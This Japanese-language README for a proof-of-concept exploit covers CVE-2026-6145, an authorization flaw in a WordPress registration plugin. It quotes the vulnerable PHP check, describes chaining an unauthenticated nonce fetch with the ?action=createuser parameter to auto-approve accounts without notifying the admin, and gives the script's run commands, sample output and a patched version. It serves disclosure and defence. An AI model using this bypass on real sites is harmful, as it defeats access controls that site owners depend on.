
User Registration & Membership <= 5.1.5 - 'action' パラメータを介した未認証の認可欠如による管理者承認バイパス
CVE-2026-6145 の概念実証エクスプロイト。WordPress用 User Registration & Membership プラグイン(≤ 5.1.5)における認可欠落の脆弱性で、未認証の攻撃者が新規アカウント作成時の管理者承認要件をバイパスできるようにします。
| CVE ID | CVE-2026-6145 |
| CNA | Wordfence |
| 脆弱性 | 認可欠落 — 管理者承認バイパス |
| CWE | CWE-862(認可欠落) |
| CVSS 3.1 | 5.3 Medium(AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| 影響を受けるバージョン | User Registration & Membership for WordPress — 全バージョン ≤ 5.1.5 |
| 修正済み | バージョン > 5.1.5 |
| 研究者 | Anthony Cihan — オフェンシブセキュリティリード, Obviam |
| 開示 | Wordfenceの責任ある開示プログラム |
| 公開日 | 2026-05-14 |
includes/class-ur-user-approval.php の is_admin_creation_process() メソッドは、新しい登録を管理者主導の作成として扱うべきかどうかを決定する唯一のゲートです。このメソッドが true を返すと、次の2つの副作用が発生します:
set_user_status() は新規ユーザーのステータスを APPROVED に設定し、承認待ちキューをスキップします。send_request_notification_to_admin() は新しい登録の管理者通知メールを抑制します。このメソッド自体は、バージョン5.1.5では認証・認可・nonce検証を一切行いません:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
$_REQUEST は $_GET、$_POST、$_COOKIE を統合するため、未認証の攻撃者は登録フォーム送信のURLに ?action=createuser を追加するだけでこのチェックを満たせます。プラグインはアカウントを自動承認し、管理者には一切通知されません。
CVE-2026-6145 は is_admin_creation_process() の認可欠落に特化したものですが、厳格化された登録フォームに対する完全な未認証悪用には、同じプラグインバージョンの2つの付随的な問題との連鎖が必要です。同梱のPoCはこの両方を自動的に処理します:
結果: 新規登録に管理者承認を明示的に要求するサイト上で、管理者の操作も通知もなしに完全承認済みのユーザーアカウントが作成されます。
requests ライブラリdata-form-id として表示されます)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
例:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
PoC実行後、wp-admin にログインし、ユーザー → 全ユーザーを確認してください:
管理者承認を不要なアカウント作成に対する主要なゲートとして使用しているWordPressサイト(会員制サイト、クローズドコミュニティ、社内ポータル、B2Bプラットフォーム、アクセス前に本人確認を必要とするサイトなどで一般的)では、この脆弱性によりその制御が静かに無効化されます。具体的な影響は以下のとおりです:
CVSSスコアは完全性のみの影響(データ機密性の直接的な喪失やサービス停止はなし)を反映していますが、実際の影響は、影響を受けるサイトが承認ワークフローをセキュリティ境界としてどの程度重視しているかに応じて拡大します。
| バージョン | ステータス |
|---|---|
| ≤ 5.1.5 | 脆弱 |
| > 5.1.5 | 修正済み |
ユーザー → 全ユーザー を監査してください。対応する管理者通知メールがないアカウントに特に注意してください。脆弱なメソッドには、権限チェックと有効なnonceの両方が必要です:
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| 日付 | イベント |
|---|---|
| 2026-03-09 | プラグインv5.1.4の許可を得たセキュリティ監査中に脆弱性を特定 |
| 2026-03-09 | Wordfenceの責任ある開示プログラムに初期報告を提出 |
| 2026-04-12 |
このプラグインの認可モデルを追跡している研究者は、以下にも関心があるかもしれません:
register_member による認証バイパス(≤ 5.1.2)研究、発見、PoC開発:
Anthony Cihan オフェンシブセキュリティリード — Obviam
本成果を参照する場合は、Anthony Cihan / Obviam への帰属を明記のうえ、CVE-2026-6145 として引用してください。
この概念実証は、防御的研究、検知エンジニアリング、および許可を得たセキュリティテストのみを目的として公開されています。以下を支援することを意図しています:
元の研究は、署名済み契約に基づく許可を得たラボ環境で実施され、公開前にWordfenceの責任ある開示プログラムを通じてベンダーへの調整済み開示が行われました。
あなたが所有していない、またはテストする明示的な書面による許可を得ていないシステムに対して本PoCを実行することは、米国コンピュータ詐欺及び濫用取締法(18 U.S.C. § 1030)、英国1990年コンピュータ濫用法、EU指令2013/40/EU、およびほとんどの法域における同等の法律の下で違法です。著者およびObviamは、本コードの誤用に対する一切の責任を負いません。
このリポジトリを使用することにより、お客様はこれらの条件を読み、理解し、受け入れたことを確認したものとみなされます。
MITライセンスの下で公開されています。上記のクレジットセクションに従い、帰属表示が必要です。
| 手順 | 問題 | 目的 |
|---|
| 1 | user_registration_get_recent_nonce wp_ajax_nopriv エンドポイントによる未認証nonce生成(Refererのみのチェック) | 認証セッションなしで有効な ur_frontend_form_nonce を取得する |
| 2 | フォームハンドラーで ur_fallback_submit が空でない場合のAJAX nonceチェックのバイパス | 有効なAJAX refererなしでフォールバックパス経由の登録を送信する |
| 3 | CVE-2026-6145 — $_REQUEST 内の action=createuser が is_admin_creation_process() を true にする | 新規アカウントを自動承認し、管理者通知を抑制する |
| Wordfence(CNA)がCVE-2026-6145を確保 |
| 2026-05-14 | ベンダーが修正版を公開、CVE-2026-6145が公開 |
| 2026-05-14 | 公開アドバイザリに合わせて本PoCを公開 |